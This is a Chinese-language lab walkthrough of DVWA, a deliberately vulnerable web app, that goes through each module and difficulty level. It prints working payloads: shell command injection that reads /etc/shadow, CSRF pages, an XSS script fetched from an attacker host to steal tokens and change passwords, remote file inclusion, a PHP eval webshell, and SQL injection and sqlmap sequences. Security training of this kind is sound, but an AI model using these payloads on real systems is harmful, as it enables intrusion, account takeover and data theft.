DVWA通关过程

搭建

准备:

phpStudy

DVWA

git clone https://github.com/cytopia/docker-dvwa
cd docker-dvwa
make start

配置hosts

dvwa.loacl 为靶机

hack.loacl 为攻击机

修改配置

magic_quotes_gpc = Off

alLow_url_fopen = on

alLow_url_include = on
$_DVWA[ ‘db_server’ ] = ‘127.0.0.1’;

$_DVWA[ ‘db_database’ ] = ‘dvwa’;

$_DVWA[ ‘db_user’ ] = ‘root’;

$_DVWA[ ‘db_password’ ] = ‘root’;

# Only used with PostgreSQL/PGSQL database selection.

$_DVWA[ 'db_port '] = ‘5432’;

# ReCAPTCHA settings

# Used for the ‘Insecure CAPTCHA’ module

# You’ll need to generate your own keys at: https://www.google.com/recaptcha/admin

$_DVWA[ ‘recaptcha_public_key’ ] = ‘6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg’;

$_DVWA[ ‘recaptcha_private_key’ ] = ‘6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ’;

访问

http://ip/dvwa

admin

password

Setup / Reset DB >> Create / Reset Database

DVWA Security 可设置难度等级: lowMediumHighImpossible

Brute Force (爆破)

利用密码字典,通过枚举法拆解出用户口令

Low

源码

只使用isset函数(php中监测变量是否设置,返回布尔值)验证参数Login是否被设置,没有任何防护机制,对usernamepassword未作任何过滤存在明显的SQL注入漏洞。

漏洞利用

密码爆破

手工SQL注入

Tip

Username:admin' or '1'='1

Password:(空)

Tip

Username:admin' #

Password:(空)

Medium

源码

较Low级增加了 mysqli_real_escape_string 函数,对字符串中的特殊字符(NUL(\x00)\n\r\'"^Z(\x1a)) 进行转义,基本上能防御SQL注入工具(MySQL5.5.37以下版本设置编码为GBK,能构造编码绕过对单引号的转义);$pass 做了MD5校验,杜绝了参数password进行SQL注入的可能性,但仍然没有有效的防爆破机制,sleep(2) 仅延迟执行2秒。

mysqli_real_escape_string : 1 , 2

漏洞利用

SQL注入无效,仍可用Burpsute爆破

High

源码

加入Token,可防御CSRF攻击,同时也增加了爆破的难度,登录验证需要四个参数: usernamepasswordLoginuser_token

每次服务器返回的登录页都包含一个随机值user_token,用户每次登录时都需一起提交user_token,服务器收到请求后会先做token的检查,再进行SQL查询。

同时使用了stripslashes(去除字符串中反斜线字符,若有两个则去除一个)、mysqli_real_escape_string对参数usernamepassword进行过滤、转义,进一步防御SQL注入。

漏洞利用

Intruder

Impossible

源码

加入了可靠的防爆破机制,监测到频繁的错误登录后,系统将锁定帐号,同时采用更为安全的PDO(PHP Data Object,不能PDO扩展本身执行任何数据库操作,而SQL注入的关键是通过破坏SQL语句结构执行恶意SQL命令) 机制防御SQL注入。

PDO

Command Injection (命令注入)

Low

源码

stristr(string,search,before_search) 函数搜索字符串在另一字符串中第一次出现,返回字符串的剩余部分,未找到返回falsestring 参数为被搜索字符串,search 参数为要搜索的字符串(若该参数为数字,用对应的ASCII值的字符),before_search 参数为布尔型,默认为 false ,设置为 true 函数将返回 search 参数第一次出现之前的字符串部分。

php_uname(mode) 函数返回运行php的操作系统的相关描述,mode 参数可取值: a(默认,包含所有模式),s(返回操作系统名称),n(返回主机名),r(返回版本名称),v(返回版本信息),m(返回机器类型)。

服务器通过判断操作系统执行不同的ping命令,但对IP参数并未做任何过滤,导致严重命令注入漏洞。

漏洞利用

Windows 和 Linux 系统都可用 && 执行多条命令

127.0.0.1 && net user
127.0.0.1 && cat /etc/shadow

Medium

源码

服务端对IP参数做了一定过滤,把 &&; 过滤了,本质上采用的是黑名单机制,因此依旧存在安全问题。

漏洞利用

&&& 的区别:

CommandA && CommandB 先执行 CommandA 成功后执行 CommandB 否则不执行 CommandB

CommandA & CommandB 不管 CommandA 是否成功 CommandB 都执行

High

源码

进一步完善了黑名单,但黑名单有局限性,仍然可绕过

漏洞利用

过滤列表中 | (后有一个空格),| 成了漏网之鱼,在命令|与命令间不只用空格即可绕过。

CommandA |CommandB | 为管道符,将 CommandA 输出作为 CommandB 的输入,且只打印 CommandB 的结果。

Impossible

源码

stripshes(string) 函数会删除字符串 string 中的反斜杠,返回已剔除反斜杠的字符串

explode(separator,string,[limit]) 函数把字符串打散为数组,返回字符串的数组,separator 参数规定在哪分割字符串,string 参数是要分割的字符,可选参数 limit 规定返回的数组元素的数目。

is_numeric(string) 函数监测 string 是否为数字或数字字符串,是返回 true ,否 返回 false

加入了 Anti-CSRF token 同时对参数 ip 进行了严格限制,只有 数字.数字.数字.数字 的输入才会被接收执行。

CSRF(Cross Site Request Forgery,跨站请求伪造)

Low

源码

服务器通过cookie验证身份,收到的修改密码请求后,会检查参数 password_newpassword_conf 是否相同,相同则修改密码,并没有防范CSRF机制

漏洞利用

构造链接 http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#

受害者点击链接后,他的密码就会被修改成 hack ,通过链接可直观的就看到内容 。

由于服务器需要使用到Cookie验证身份,而Cookie受浏览器影响,若攻击者与受害者使用不同种的浏览器就无法达成攻击效果 。

可用以下方式伪装

<html>
<head>
    <title>404</title>
</head>
<img src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#" border="0" style="display:none;">
<h1>404<h1>

<h2>file not found.<h2>
</html>
<script src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script>

<iframe src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#" style="display:none;"></iframe>

<img src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#" border="0" style="display:none;">

Medium

源码

stripos(string pattern,string string) 检查 stringpattern 中出现的位置(不区分大小写),如果有返回 true,没有返回 false

检查保留变量 HTTP_REFERER (http 包头的 Referer 参数的值,表源地址) 中是否包含 SERVER_NAME (http 包头的 Host 参数,及要访问的主机名) ,只检查了是否含有需要访问主机的主机名,只要 referer 中出现 Host 就可以正常操作 。

漏洞利用

失效的利用

构造 dvwa.loacl.htmlCSRF 网页文件,放到 hack.loacl 上通过访问该文件,已失效

未知原因浏览器发送的跨站请求中不包含路径信息,导致构造 Referer http://hack.loacl/dvwa.loacl.html 失败。
构造的 dvwa.loacl.html 容易被发现,可使用 URL 转码,将 dvwa.loacl.html 转义为 %64%76%77%61%2e%6c%6f%63%61%6c%2e%68%74%6d%6c 。构造链接 http://hack.loacl/%64%76%77%61%2e%6c%6f%63%61%6c%2e%68%74%6d%6c

配合 XSS Stored 使用,通过 XSS 伪造请求实现攻击,但这已不属于跨站请求了,所以在这个级别的 DVWA 漏洞中就是一个悖论。

<img src="/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change">

XSS Stored Medium 级别中,name 的位置填入以上内容,Message 随便填,点击 sign guestbook 提交后伪造的请求就保存到了服务器,当被攻击者访问该页面时,由 XSS 实现请求的发出。

也可使用文件上传漏洞上传一个构造好的内容,同理,这也不在属于跨站了,且文件上传已是可利用的漏洞完全可以考虑直接拿shell,除非被上传的文件不可被执行。

High

源码

加入 Anti-CSRF token 机制,用户每次访问该页,服务器会返回一个随机 token ,向服务器发起请求时需提交 token 参数,服务器收到请求后先检查 token 只有 token 正确才处理请求

漏洞利用

攻击页需要获取修改密码页的 token 这属于跨域请求,浏览器已经禁止,只能另寻它法 。

利用 XSS 获取 token

alert(document.cookie);
var theUrl = 'http://dvwa.local/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
}else{
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
    if(xmlhttp.readyState ==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        console.log(match);
        alert(match[1]);
            var token = match[1];
                var new_url = 'http://dvwa.local/vulnerabilities/csrf/?user_token='+token+'&password_new=hack&password_conf=hack&Change=Change';
                if(count==0){
                    count++;
                    xmlhttp.open("GET",new_url,false);
                    xmlhttp.send();
                }
    }
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();

xss.js 放置在攻击者 hack.local 上,配合dvwa.local 存在的 DOM XSS 实现跨域请求来获取用户 token 受害者访问: http://dvwa.local/vulnerabilities/xss_d/?default=English&a=</option></select><script src="http://hack.local/xss.js"></script> 诱导点击后修改密码为 hack

Impossible

源码

利用 PDO 技术防范 SQL 注入,要求用户输入原始密码防范 CSRF 攻击者在不知道原始密码情况下无法进行 CSRF 攻击 。

File Inclusion (文件包含)

Low

源码

服务端对 page 参数没有任何过滤检查 。

服务器包含文件时,不管文件后缀名是否是 php ,都将当作 php 文件执行,若内容确为 php 正常执行并返回结果,若不是,则原封不动将内容打印,所以文件包含漏洞常常会导致任意文件读取与任意文件执行。

漏洞利用

构造url : http://dvwa.local/dvwa/vulnerabilities/fi/?page=/etc/shadow

报错显示没有这个文件,说明服务器系统不是 Linux ,但同时暴露了服务器文件的绝对路径 C:\Install\phpstudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php

构造绝对路径url: http://dvwa.local/vulnerabilities/fi/?page=C:\Install\phpstudy\PHPTutorial\WWW\DVWA\php.ini

构造相对路径url: http://dvwa.local/vulnerabilities/fi/?page=C:\Install\phpstudy\PHPTutorial\WWW\DVWA\php.ini 读取到该文件的内容。

服务器配置中,选项 alLow_url_fopenalLow_url_include 为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查,就容易导致任意远程代码执行。

在远程服务器 hack.local 上传 phpinfo.txt

<?php phpinfo();?>

构造url http://dvwa.local/dvwa/vulnerabilities/fi/?page=http://hack.local/phpinfo.txt

http://hack.local/phpinfo.txt >> %68%74%74%70%3a%2f%2f%68%61%63%6b%2e%6c%6f%63%61%6c%2f%70%68%70%69%6e%66%6f%2e%74%78%74 >> http://dvwa.local/dvwa/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%68%61%63%6b%2e%6c%6f%63%61%6c%2f%70%68%70%69%6e%66%6f%2e%74%78%74

Medium

源码

增加了 str_replace 函数对 page 参数进行处理,将 http://https://../..\ 替换成空字符(删除)。

漏洞利用

hthttp://tp:// , ..././ 等经过过滤后成为: http:// , ../

High

源码

使用了 fnmatch 函数检查 page 参数,要求 page 参数的开头必须是 file ,服务器才会去包含相应的文件。

漏洞利用

/fi/?page=file:///etc/passwd

依然可以利用 file 协议绕过防护策略,需要结合文件上传漏洞,将文件上传到服务器,并能获取到完整的路径,即可利用文件包含漏洞执行上传的文件。

Impossible

源码

简单粗暴,page 参数必须为 include.phpfile1.phpfile2.phpfile3.php 之一,彻底杜绝了文件包含漏洞。

File Upload (文件上传)

Low

源码

basename(path,suffix) 函数返回路径中的文件名部分,如果可选参数 suffix 为空,则返回的文件名含后缀名,反之不包含后缀名。

服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

漏洞利用

上传漏洞利用的条件是,成功上传木马文件,上传的文件必须能被执行,上传的路径必须可知。

构造木马文件 hack.php

<?php @eval($_POST['hacker']);?>

上传成功返回路径 ../../hackable/uploads/hack.php

使用浏览器访问 http://dvwa.local/vulnerabilities/upload/../../hackable/uploads/hack.php 没有报错显示为空白。

使用菜刀连接 http://dvwa.local/vulnerabilities/upload/../../hackable/uploads/hack.php 参数名 : hacker

Medium

源码

限制文件类型必须是 jpegpng 大小不能超过 100000B (约97.6KB)。

漏洞利用

直接将 hack.php 命名为 hack.jpg 文件,将其上传后,利用文件包含漏洞可解析执行 jpg 文件内的指令,使用菜刀连接(脚本类型选PHP)。

无文件包含漏洞,将 hack.php >> hack.jpg >> 上传 >> Burp Suite Pro 抓包 >> hack.jpg 改为 hack.php >> Forward >> 获得返回地址 >> 菜刀获取webshell。

服务器的 php 版本小于 5.3.4Magic_quote_gpcoff 时文件名可使用 %00 截断,将文件命名为 hack.php%00.png 上传,由于被 %00 截断,服务器保存的文件为 hack.php 获取返回地址菜刀获取webshell。

High

源码

strrpos(string,find,start) 函数返回字符串 find 在另一字符串 string 中最后一次出现的位置,若没找到支付串则返回 false 可选参数 start 规定搜索开始点。

getimagesize(string filename) 函数通过读取文件头,返回图片的长、宽等信息,如果没有相关图片文件头,函数报错。

通过限制文件名 . 后面的字符串,限制了文件的类型,文件必须是 .jpg.jpeg.png 之一,同时使用 getimagessize 函数限制了文件头必须为图像类型。

漏洞利用

使用命令将 hack.php 与图片文件 image.jpg 合并。

# Windows
copy image.jpg/b+hack.php/a shell.jpg
# Linux
cat image.jpg hack.php >> shell.jpg
# 将 shell.php 内容追加到 pic.png
cat hack.php >> image.jpg
# 直接 echo 追加
echo '<?php phpinfo();?>' >> image.jpg

用记事本打开生成的文件 shell.jpg 可看到末尾加入了 hack.php 内的内容。

也可用记事本打开 image.jpg 直接复制 hack.php 文件内容到 image.jpg 的末尾。

将生成的文件直接上传,然后利用文件包含漏洞连接web shell。

Impossible

源码

imagecreatefromjpeg(filename) 函数返回图片文件的图像标识,失败返回false。

imagejpeg(image,filename,quality)image 图像以 filename 为文件名创建一个 JPEG 图像,可选参数 quality 范围从 0 (最差质量,文件更小)到 100 (质量最佳,文件最大)。

imagedestroy(img) 函数销毁图像资源。

该等级对上传的文件进行了重命名(为md5值),加入 Anti-CSRF token 防护 CSRF 攻击,同时对文件的内容进行了严格的检查。

文件上传与文件包含: 文件包含是指调用文件,可调用本地的文件,也可调用远程的文件;文件上传是指上传一个文件,如果上传木马,上传后往往需要调用执行,因此,文件上传与文件包含经常会打组合拳。

Insecure CAPTCHA (不安全的验证码/不安全的验证过程)

reCAPTCHA 验证流程 : 模块验证码由 Google 提供 reCAPTCHA 服务;用户向 Google 发送请求验证码模块的js >> Google 返回验证码 >> 用户发送输入的验证码到网站服务器 >> 网站服务器向 Google 验证用户输入的正确性 >> Google 返回验证结果。

服务器通过调用 recaptcha_check_answer 函数检查用户输入的正确性。

由于是绕过验证码,无需科学上网环境。

Low

源码

给密码分两步:

其中存在明显逻辑漏洞,服务器仅通过检查 Changestep 来判断用户是否已经输入了正确的验证码。

漏洞利用

ps: 由于没有科学上网,发送的请求包中没有 reCAPTCHA 的相关参数。

<html>
<body onload="document.getElementById('transfer').submit()">
  <div>
    <form method="POST" id="transfer" action="http://dvwa.local/dvwa/vulnerabilities/captcha/">
		<input type="hidden" name="password_new" value="password">
		<input type="hidden" name="password_conf" value="password">
		<input type="hidden" name="step" value="2"
		<input type="hidden" name="Change" value="Change">
	</form>
  </div>
</body>
</html>

Medium

源码

增加了对参数 passed_captcha 的检验,如果参数值为 true 则认为用户通过了验证码检查,然而依然可通过伪造参数绕过验证,本质上与 Low 级没区别。

漏洞利用

<html>
<body onload="document.getElementById('transfer').submit()">
  <div>
    <form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">
		<input type="hidden" name="password_new" value="password">
		<input type="hidden" name="password_conf" value="password">
		<input type="hidden" name="passed_captcha" value="true">
		<input type="hidden" name="step" value="2">
		<input type="hidden" name="Change" value="Change">
	</form>
  </div>
</body>
</html>

High

源码

服务器验证逻辑是当 Google 返回的验证结果 $resptrue 且参数 g-recaptcha-response 等于 hidd3n_valu3 (或 http 包头的 User-Agent 参数等于 reCAPTCHA) 时,认为验证码输入正确,反之这未通过验证码的检查。

增加了 Anti-CSRF token 机制防御 CSRF 攻击

漏洞利用

清楚验证逻辑,就可针对伪造绕过了,由于 $resp 参数人为无法控制,重心只能放在参数g-recaptcha-responseUser-Agent 上。

Burp Suite Pro 抓包 >> 添加 &g-recaptcha-response=hidd3n_valu3 以及修改 User-Agent 值为 reCAPTCHA >> Forward

Impossible

源码

增加了 Anti-CSRF token 机制防御 CSRF 攻击,利用 PDO 技术防范 SQL 注入,验证不再分成两个部分,验证码无法绕过,同时要求用户输入之前的密码,进一步加强身份认证。

SQL Injection (SQL 注入)

SQL 注入指攻击者通过在原有的 SQL 语句中注入恶意的 SQL 命令,破坏原有语句的结构,通过执行这些恶意语句欺骗数据库执行,导致数据库信息泄漏,其危害是巨大的,常常会导致整个数据库被 “脱库”。

手工注入 :使用注入神器固然好用,但还要掌握手工注入的思路。

Low

源码

Low 级对来自客户端的参数 id 没有进行任何的检查与过滤,存在明显的 SQL 注入。

漏洞利用

现实攻击场景中,攻击者是无法看到后端代码的,一些的手工注入步骤建立在无法看到源码的基础上。

输入 1 ,查询成功 >> 输入 1' and 1 = 2 -- 查询失败,返回结果为空, 输入 1' and 1=1 -- 查询成功 >> 输入 1' or '1234' ='1234,查询成功,且返回多个结果 >> 说明存在字符型注入。

1' or 1=1 order by 1 # 查询成功
1' or 1=1 order by 2 # 查询成功
1' or 1=1 order by 3 # 查询失败

说明执行的 SQL 查询语句中只有两个字段,即 First nameSurname

也可使用 union seclct 1,2,3... 猜解字段数

1' union select 1,2 # 查询成功

猜测执行的 SQL 语句为 select First name,Surname from <表> where ID='$id'

而真正的语句为 SELECT first_name, last_name FROM users WHERE user_id = '$id';

1' union select 1,database() # 查询成功,获得数据库名为 dvwa

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 成功查到 dvwa 中共有两个表, guestbookusers

group_concat() 函数将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

information_schema 这个数据库中保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库表,表栏的数据类型与访问权限等。

1' union select 1,group_concat(column_name)from information_schema.columns where table_name='users' # 成功查询到 users 表中有 8 个字段,user_id,first_name,last_name,user,password,avatar,last_login,failed_login

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password)from users # 成功将 users 表中所有用户的 user_id,first_name,last_name,password 数据

使用 Burp Strip Pro 抓包,将抓到的包保存为文本 hack.txt

GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: php.local:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://php.local:81/vulnerabilities/sqli/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=05djofsqdd62727is2vv7ckeh6; security=low
Connection: close

使用 sqlmap 命令进行攻击

sqlmap -r hack.txt --dbs --batch  # 获取数据库列表

sqlmap -r hack.txt --dbs --batch --current-db  # 获取当前数据库名

sqlmap -r hack.txt -D dvwa --tables --batch  # 获取数据库中的表名

sqlmap -r hack.txt -D dvwa -T users --columns --batch  # 获取表中的列名

Medium

源码

利用 mysql_escape_string 函数对特殊字符 \x00,\n,\r,\,',",\x1a 进行转义,同时前端设置了下拉选择表单,希望控制用户输入。

漏洞利用

通过 Burp Suite Pro 抓包 >> 修改 id 为 1' or 1=1 # 报错 >> 修改 id 为 1 or 1=1 # 查询成功,说明存在数字型注入 (数字型注入,服务段的 mysqli_real_escape_string 函数就形同虚设了,因为数字注入不需要借助引号)

抓包 >> 修改 id 为 1 order by 2 # 查询成功 >> 修改 id 为 1 order by 3 # 报错 >> 判断查询语句中只有两个字段,即返回的 First nameSurname

抓包 >> 修改 id 为 1 union select 1,2 # 查询成功 >> 判断执行的 SQL 语句为 select First name,Surname from <表> where ID=$id (正确的 SELECT first_name, last_name FROM users WHERE user_id = $id;)

抓包 >> 修改 id 为 1 union select 1,database() # ,查询成功,获得库名 dvwa

抓包 >> 修改 id 为 1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() # 查询成功,获得数据库 dvwa 中的两个表名 guestbookusers

抓包 >> 修改 id 为 1 union select 1,group_concat(column_name)from information_schema.columns where table_name='users' # 查询失败,因为单引号被转义了 >> 利用16进制进行绕过将 'users' 换成 0x7573657273 即可查询成功,获得 users 表中有8个字段。

抓包 >> 修改 id 为 1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password)from users #

High

源码

在 SQL 查询语句中添加了 LIMIT 1 希望控制只输出一个结果。同时设置了将查询提交也与结果显示页分离,不执行302跳转,防止了一般的sqlmap注入(sqlmap 注入过程中,无法在查询页上获得查询结果,也就无法进行下一步了)。

漏洞利用

虽然添加了 LIMIT 1 但可以通过 # 等注释符将其注释掉

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

Impossible

源码

采用 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时才会成功输出,这样有效的防御了脱库, Anti-CSRF token 机制的加入进一步提高了安全性。

SQL Injection(Blind) (SQL 盲注)

SQL 盲注不像一般的注入可直接从页面上看到输入语句的执行结果,盲注时无法从显示页面上获取执行结果,甚至连注入语句是否被执行都无法得知,因此盲注的难度比一般注入高。现存的SQL注入漏洞大多是盲注。

手工盲注思路

手工盲注过程完全只能通过返回的 "是" 和 "不是" 两个信息来判断,因此只能构造如 数据库名的第一字母是不是a? 等类似的只有 "是" 和 "不是" 答案的语句获得想要的信息,这类盲注称为 布尔盲注
而通过构造 数据库名的第一字母是a就等等 等通过时间函数延迟情况判断获得信息,这类盲注称为时间盲注

盲注步骤:

Low

源码

对 id 没有任何检查、过滤,返回给页面的结果也只有两种User ID exists in the database.User ID is MISSING from the database. 存在盲注漏洞

漏洞利用

布尔盲注

1 显示存在 >> 1' and 1=1 # 显示存在 >> 1' and 1=2 显示不存在 >> 存在字符型盲注

先猜解数据库名的长度,再猜解每一个字符

1' and length(database())=1 #    显示不存在
1' and length(database())=2 #    显示不存在
1' and length(database())=3 #    显示不存在
1' and length(database())=4 #    显示存在,说明数据库名长度为4

采用二分法猜解数据库名

1' and ascii(substr(database(),1,1))>97 #   显示存在,说明数据库名第一个字母的ascii值大于97
1' and ascii(substr(database(),1,1))<122 #   显示存在,说明数据库名第一个字母的ascii值小于122
1' and ascii(substr(database(),1,1))<109 #   显示存在,说明数据库名第一个字母的ascii值小于109
1' and ascii(substr(database(),1,1))<103 #   显示存在,说明数据库名第一个字母的ascii值小于103
1' and ascii(substr(database(),1,1))<100 #   显示不存在,说明数据库名第一个字母的ascii值不小于100
1' and ascii(substr(database(),1,1))>100 #   显示不存在,说明数据库名第一个字母的ascii值不大于100

依次猜解出其它数据库名的字母

先猜解数据库表的数量

1' and (select count(table_name)from information_schema.tables where table_schema=database())=1 #   显示不存在
1' and (select count(table_name)from information_schema.tables where table_schema=database())=2 #   显示存在,说明数据库中有两个表

猜解表名

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #    显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #    显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 #    显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 #    显示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #    显示不存在

说明第一个表的第一个字母为g,同样步骤猜测出两个表名 goustbook , users

猜解表中的字段数

1' and (select count(column_name)from information_schema.columns where table_name='users')=1 # 显示不存在
...
1' and (select count(column_name)from information_schema.columns where table_name='users')=8 # 显示存在,说明users表中有8个字段

猜解字段名

1' and length(substr((select column_name from information_schema.columns where table_name='users' linit 0,1),1))=1 #    显示不存在
...
1' and length(substr((select column_name from information_schema.columns where table_name='users' linit 0,1),1))=7 #    显示存在,说明第一个字段为7个字符长度,然后采用二分法猜解出所有字段名

采用二分法依次猜解

时间盲注

1' and sleep(5) #    有明显延迟
1 and sleep(5) #    没有延迟

说明存在字符型时间盲注

猜解数据库名长度

1' and if(length(database())=1,sleep(5),1) #    没有延迟
1' and if(length(database())=2,sleep(5),1) #    没有延迟
1' and if(length(database())=3,sleep(5),1) #    没有延迟
1' and if(length(database())=4,sleep(5),1) #    有延迟,说明数据库长度为4字符

二分法猜解数据库名

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) #    明显延迟
...
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1) #    没有延迟
1' and if(ascii(substr(database(),1,1))>100,sleep(5),1) #    没有延迟

说明数据库名的第一个字符为 d ,同样步骤依次猜解其他字母。

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1) #    没有延迟

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1) #    有延迟

说明有两个表,接着猜解表名

1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #    没有延迟
...
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #    有延迟

说明第一个表名长度为9个字符,采用二分法猜解表名

猜解表中字段的数量

1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=1,sleep(5),1) #    没有延迟
...

1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=8,sleep(5),1) #    有延迟

说明users表中有8个字段,接着猜解字段名

1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1,sleep(5),1) #    没有延迟
...
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7,sleep(5),1) #    明显延迟

说明 users 表的第一个字段长度为7字符,采用二分法即可猜解出各字段名

同样使用二分法

Medium

源码

加入 mysqli_real_escape_string 函数对特殊字符 \x00,\n,\r,',",\x1a 进行转义,同时前端使用下拉表单控制用户的输入。

漏洞利用

前端虽然控制了输入,但可利用抓包的方式来进行修改,一样能达到效果,流程同 Low 级别。

High

源码

利用cookie传递参数id,查询结果为空时,会执行函数 sleep(seconds) 目的是为了扰乱时间盲注,同时在 SQL 查询语句中加入 limit 1 控制只输出;一个结果。

漏洞利用

虽然加入 limit 1 但仍可通过 # 将其注释掉,由于服务器端执行 sleep 函数会使时间注入的准确性受影响,可利用布尔注入达到目的。利用抓包改包的方式进行

Impossible

源码

采用 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,加入Anti-CSRF token 机制提供了安全性

Weak Session IDs (弱会话ID)

SessionID 会话ID,通常用于标识已登录的用户,证明用户在会话中的身份。
Cookie 用于标识客户端的用户身份,通常是勾选 下次自动登录 后保存在用户端的身份证明凭证,在 Cookie 过期前,用户不必输入用户名和密码就能登录。

说白了就是 Cookie 盗用,一般都是和 XSS 一起使用。

Low

源码

每次生成的 session_id 加1发给客户端

漏洞利用

Generate >> Burp Suite Pro 抓包 >> Cookie: PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low >> Action >> Send to Response >> Response >> Go >> Request 请求一次 ResponseSet-Cookie: dvwaSession 的值就 加1

Burp Suite Pro 将刚才拦截的数据包放行 >> Generate >> 再次抓包 >> Cookie: dvwaSession=4; PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low 前面请求了几次这里的 dvwaSession 就变成了多少。 >> 且每次请求只改变 dvwaSession 其他值不发生改变 >> 复制 CookieCookie: dvwaSession=4; PHPSESSID=tjbmcu13aaho7ab653vqpeibn3; security=low >> 换火狐浏览器(本身就是火狐则 Cookie 等数据,谷歌浏览器可能不成功) >> 输入网址 http://dvwa.local/vulnerabilities/weak_id/ 使用插件 hackbar 修改 Cookie 值然后访问,没输入用户名密码就直接进来了,甚至不用 dvwaSession 也能访问。

Medium

源码

使用当前时间的时间戳作为SessionID

漏洞利用

和自增1没区别,说白了就是从 Unix 纪元 (January 1 1970 00:00:00 GMT) 到现在的秒数,就是一秒一秒的自增,可利用时间戳查询工具伪造。Unix时间戳工具

High

源码

使用 setcookie(name,value,expire,path,domain,secure,httponly) 函数定义 Cookie ,name 必要,cookie 名称,value 必要,cookie 值,expire cookie 有效期,path cookie 服务器路径,domain cookie 域名,secure 是否通过 HTTPS 连接传输 cookie ,httponly cookie 是否仅通过 HTTP 协议访问
使用 MD5 值将生成的 session_id 进行加密,使无法直接推测出 SessionID

漏洞利用

使用 Burp Suite Pro 的 Response 进行重复请求,通过返回的 Set-Cookie 都是无规则的字符串,推测是 MD5 加密的值,使用 MD5 解密得到了数字,说白了就是将 Low 级别基础上添加了一个 MD5 加密,使用 MD5 工具就能伪造。

MD5加解密

Impossible

源码

随机数 + 随机数 + 固定字符串 Impossible 再进行 sha1 运算

XSS(DOM) (DOM Based Cross Site Scripting ,DOM型跨站脚本攻击)

DOM 是与平台、编程语言无关的接口,它允许程序或脚本动态访问和更新文档内容、结构和样式,处理结果能成为页面显示的一部分。DOM 中有很多对象,其中一些是用户可以操作的(如 URI , location , refelTer d等)。客户端脚本程序可通过 DOM 动态检查修改页面内容,不依赖于提交数据到服务端,而从客户端获得 DOM 中的数据在本地执行,如果 DOM 中的数据没有经过严格检查,就会产生 DOM-based XSS漏洞。

可能触发 DOM 型 XSS 的属性:

document 表一个文档对象, window 表一个窗口对象,一个窗口下可有多个文档对象。所有一个窗口下只有一个 window.location.href,却可能有多个 document.URLdocument.location.href

document.URL 取值等价于 window.location.hrefdocument.location.href ,某些浏览器中可通过对 document.URL 赋值实现页面跳转,但某些浏览器不行。

该实验尽量选择使用火狐浏览器进行,火狐没有 XSS 过滤

indexOf(searchvalue,fromindex) 方法可返回指定字符串值在字符串首次出现的位置。searchvalue 必需,需检索的字符串值;fromindex 可选整数参数,规定字符串开始检索的位置,取值为 0~stringObject.length-1 若省略该参数,将从首字符开始检索。indexOf() 对大小写敏感,若未检索到字符串值,返回为 -1
substring(start,stop) 方法用于提取字符串中介于两个指定下标间的字符。start 必需,一个非负整数,规定提取字符的第一个字符在 stringObject 中的位置;stop 可选,一个非负整数,需要提取字符串最后一个字符的后一位,若省略该参数,将提取到结尾。
